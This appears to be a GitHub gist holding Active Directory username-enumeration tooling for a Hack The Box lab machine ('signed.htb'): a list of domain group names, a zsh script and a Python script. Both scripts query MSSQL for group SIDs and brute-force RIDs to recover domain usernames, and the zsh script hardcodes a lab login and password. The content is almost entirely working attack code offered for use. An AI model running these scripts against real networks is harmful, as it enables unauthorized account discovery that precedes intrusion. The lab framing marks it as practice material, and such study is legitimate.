Last active
October 21, 2025 20:15
-
-
Save sharpicx/f9c59cbed23e6220a166d592cf3c52fb to your computer and use it in GitHub Desktop.
userenum.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| SIGNED\Access Control Assistance Operators | |
| SIGNED\Account Operators | |
| SIGNED\Administrators | |
| SIGNED\Allowed RODC Password Replication Group | |
| SIGNED\Authenticated Users | |
| SIGNED\Backup Operators | |
| SIGNED\BitLocker Recovery | |
| SIGNED\BranchCache Administrators | |
| SIGNED\BranchCache Hosts | |
| SIGNED\Certificate Service DCOM Access | |
| SIGNED\COM+ Users | |
| SIGNED\Cryptographic Operators | |
| SIGNED\DHCP Administrators | |
| SIGNED\Distributed COM Users | |
| SIGNED\DnsAdmins | |
| SIGNED\DnsUpdateProxy | |
| SIGNED\Domain Admins | |
| SIGNED\Domain Computers | |
| SIGNED\Domain Controllers | |
| SIGNED\Domain Guests | |
| SIGNED\Domain Users | |
| SIGNED\Enterprise Admins | |
| SIGNED\Enterprise Key Admins | |
| SIGNED\Event Log Readers | |
| SIGNED\Everyone | |
| SIGNED\Exchange Organization Administrators | |
| SIGNED\Exchange Trusted Subsystem | |
| SIGNED\Group Policy Creator Owners | |
| SIGNED\Guests | |
| SIGNED\Hyper-V Administrators | |
| SIGNED\IIS_IUSRS | |
| SIGNED\Incoming Forest Trust Builders | |
| SIGNED\Key Admins | |
| SIGNED\Local Service | |
| SIGNED\Network Configuration Operators | |
| SIGNED\Network Policy Servers | |
| SIGNED\Network Service | |
| SIGNED\Office Servers | |
| SIGNED\Performance Log Users | |
| SIGNED\Performance Monitor Users | |
| SIGNED\Policy Read | |
| SIGNED\Power Users | |
| SIGNED\Pre-Windows 2000 Compatible Access | |
| SIGNED\Print Operators | |
| SIGNED\Product Users | |
| SIGNED\Protected Users | |
| SIGNED\RAS and IAS Servers | |
| SIGNED\Read-only Domain Controllers | |
| SIGNED\Remote Access Users | |
| SIGNED\Remote Desktop | |
| SIGNED\Remote Desktop Users | |
| SIGNED\Remote Management Users | |
| SIGNED\Replicator | |
| SIGNED\Schema Admins | |
| SIGNED\Server Operators | |
| SIGNED\SQLServerMSSQLUser$MSSQLSERVER | |
| SIGNED\Storage Replica Administrators | |
| SIGNED\Storage Replica Source Servers | |
| SIGNED\System | |
| SIGNED\Task Scheduler | |
| SIGNED\Users | |
| SIGNED\Windows Authorization Access Group |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/zsh | |
| # VARS | |
| GROUPS=("${(@f)$(<dc_groups.txt)}") | |
| USER="scott" | |
| PASSWORD="Sm230#C5NatH" | |
| SERVER="signed.htb" | |
| DOMAIN="SIGNED" | |
| SIDS_OUTPUT="sids_output.txt" | |
| # COLORS | |
| GREEN="\033[0;32m" | |
| BLUE="\033[0;34m" | |
| ORANGE="\033[38;5;208m" | |
| RESET="\033[0m" | |
| function print_success() { | |
| local text=$1 | |
| echo -e "[${GREEN}+${RESET}] ${text}" | |
| } | |
| function print_warning() { | |
| local text=$1 | |
| echo -e "[${ORANGE}-${RESET}] ${text}" | |
| } | |
| function print_info() { | |
| local text=$1 | |
| echo -e "[${BLUE}*${RESET}] ${text}" | |
| } | |
| function bruteSID() { | |
| print_info "SID:" | |
| for group in ${GROUPS[@]}; do | |
| binary_sid_sql_query="SELECT SUSER_SID('${group}')" | |
| echo $binary_sid_sql_query > binary.sql | |
| binary=$(mssqlclient.py "DC01/${USER}:$PASSWORD@$SERVER" -file binary.sql | grep -a -o "b'[^']*'" | sed "s/^b'//;s/'$//") | |
| if [[ -n ${binary} ]]; then | |
| binary=$(pwsh.exe -c " | |
| \$BinarySID = '${binary}'; | |
| \$SIDBytes = [byte[]]::new(\$BinarySID.Length / 2); | |
| for (\$i = 0; \$i -lt \$BinarySID.Length; \$i += 2) { | |
| \$SIDBytes[\$i / 2] = [convert]::ToByte(\$BinarySID.Substring(\$i, 2), 16) | |
| } | |
| \$SID = New-Object System.Security.Principal.SecurityIdentifier(\$SIDBytes, 0); | |
| \$SID.Value | |
| ") | |
| print_success "$group = $binary" | |
| echo -e "${group}|$binary" >> ${SIDS_OUTPUT} | |
| fi | |
| rm binary.sql | |
| done | |
| } | |
| function usernameEnumerationBySID() { | |
| local SID_BASE=$1 | |
| local RID_START=${2:-1103} | |
| local RID_END=${3:-1300} | |
| local rid | |
| local SID_DOMAIN=$(echo "$SID_BASE" | tr -d '\r' | tr -d '[:space:]' | sed 's/-[0-9]\+$//') | |
| for (( rid=RID_START; rid<=RID_END; rid++ )); do | |
| user_by_sid_sql_query="SELECT SUSER_SNAME(SID_BINARY(N'${SID_DOMAIN}-${rid}'))" | |
| echo "$user_by_sid_sql_query" > query.sql | |
| result=$(mssqlclient.py "DC01/${USER}:$PASSWORD@$SERVER" -file query.sql 2>/dev/null | tr -d '\r' | grep -a '\\'"${DOMAIN}"'\\') | |
| rm -f query.sql | |
| if [[ -n $result ]]; then | |
| echo "$result" | sed -n "s/.*\(${DOMAIN}\\\\[^[:space:]]*\).*/\1/p" | while read -r user; do | |
| [[ -n $user ]] && print_success "${user}" | |
| done | |
| fi | |
| done | |
| } | |
| function enumerate_all_from_sids_output() { | |
| [[ -f $SIDS_OUTPUT ]] || return | |
| while IFS='|' read -r group sid_base; do | |
| [[ -z $group || -z $sid_base ]] && continue | |
| print_info "${group}:" | |
| usernameEnumerationBySID "$sid_base" 1103 1300 | |
| done < "$SIDS_OUTPUT" | sort -u | |
| } | |
| function main() { | |
| # bruteSID | |
| enumerate_all_from_sids_output | |
| } | |
| main |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import re | |
| import subprocess | |
| import tempfile | |
| from pathlib import Path | |
| from pwn import log | |
| GROUPS_FILE = "ad_groups.txt" # common groups in AD | |
| SIDS_OUTPUT = "sids_output.txt" | |
| USER = "<user>" | |
| PASSWORD = "<password>" | |
| SERVER = "<server.com>" | |
| DOMAIN = "<DOMAIN>" | |
| RID_START_DEFAULT = 1103 | |
| RID_END_DEFAULT = 1300 | |
| def run_mssql_query(connection_str: str, sql: str) -> str: | |
| with tempfile.NamedTemporaryFile("w+", delete=False) as f: | |
| f.write(sql) | |
| fname = f.name | |
| try: | |
| proc = subprocess.run( | |
| ["mssqlclient.py", connection_str, "-file", fname], | |
| capture_output=True, | |
| text=True, | |
| check=False, | |
| ) | |
| return proc.stdout.replace("\r", "") | |
| finally: | |
| Path(fname).unlink(missing_ok=True) | |
| def hexstr_to_sid(hexstr: str) -> str: | |
| b = bytes.fromhex(hexstr) | |
| if len(b) < 8: | |
| raise ValueError("Invalid SID byte length") | |
| rev = b[0] | |
| subcount = b[1] | |
| id_auth = int.from_bytes(b[2:8], byteorder="big", signed=False) | |
| subs = [] | |
| offset = 8 | |
| for i in range(subcount): | |
| if offset + 4 > len(b): | |
| break | |
| sub = int.from_bytes(b[offset : offset + 4], byteorder="little", signed=False) | |
| subs.append(str(sub)) | |
| offset += 4 | |
| sid = "S-{}-{}".format(rev, id_auth) | |
| if subs: | |
| sid = f"{sid}-" + "-".join(subs) | |
| return sid | |
| def brute_sid(groups): | |
| conn = f"DC01/{USER}:{PASSWORD}@{SERVER}" | |
| Path(SIDS_OUTPUT).write_text("") | |
| log.info("SID:") | |
| for group in groups: | |
| sql = f"SELECT SUSER_SID('{group}')" | |
| out = run_mssql_query(conn, sql) | |
| m = re.search(r"b'([^']+)'", out) | |
| if m: | |
| hexstr = m.group(1) | |
| try: | |
| sid = hexstr_to_sid(hexstr) | |
| log.success(f"{group} = {sid}") | |
| with open(SIDS_OUTPUT, "a") as fh: | |
| fh.write(f"{group}|{sid}\n") | |
| except Exception as e: | |
| log.warn(f"failed convert SID for {group}: {e}") | |
| def username_enumeration_by_sid( | |
| sid_base: str, rid_start: int = RID_START_DEFAULT, rid_end: int = RID_END_DEFAULT | |
| ): | |
| conn = f"DC01/{USER}:{PASSWORD}@{SERVER}" | |
| sid_base_clean = re.sub(r"\s+", "", sid_base.replace("\r", "")) | |
| sid_domain = re.sub(r"-\d+$", "", sid_base_clean) | |
| for rid in range(rid_start, rid_end + 1): | |
| sid_try = f"{sid_domain}-{rid}" | |
| sql = f"SELECT SUSER_SNAME(SID_BINARY(N'{sid_try}'))" | |
| out = run_mssql_query(conn, sql) | |
| matches = re.findall(rf"{re.escape(DOMAIN)}\\\S+", out) | |
| if matches: | |
| for u in matches: | |
| log.success(f"{u}") | |
| def enumerate_all_from_sids_output( | |
| rid_start: int = RID_START_DEFAULT, rid_end: int = RID_END_DEFAULT | |
| ): | |
| if not Path(SIDS_OUTPUT).exists(): | |
| return | |
| seen = set() | |
| with open(SIDS_OUTPUT) as fh: | |
| for line in fh: | |
| line = line.strip() | |
| if not line or "|" not in line: | |
| continue | |
| group, sid = line.split("|", 1) | |
| if (group, sid) in seen: | |
| continue | |
| seen.add((group, sid)) | |
| log.info(f"{group}:") | |
| username_enumeration_by_sid(sid, rid_start, rid_end) | |
| def main(): | |
| # if you need to re-run brute SID collection, uncomment: | |
| # groups = [g.strip() for g in Path(GROUPS_FILE).read_text().splitlines() if g.strip()] | |
| # brute_sid(groups) | |
| enumerate_all_from_sids_output(1103, 1300) | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment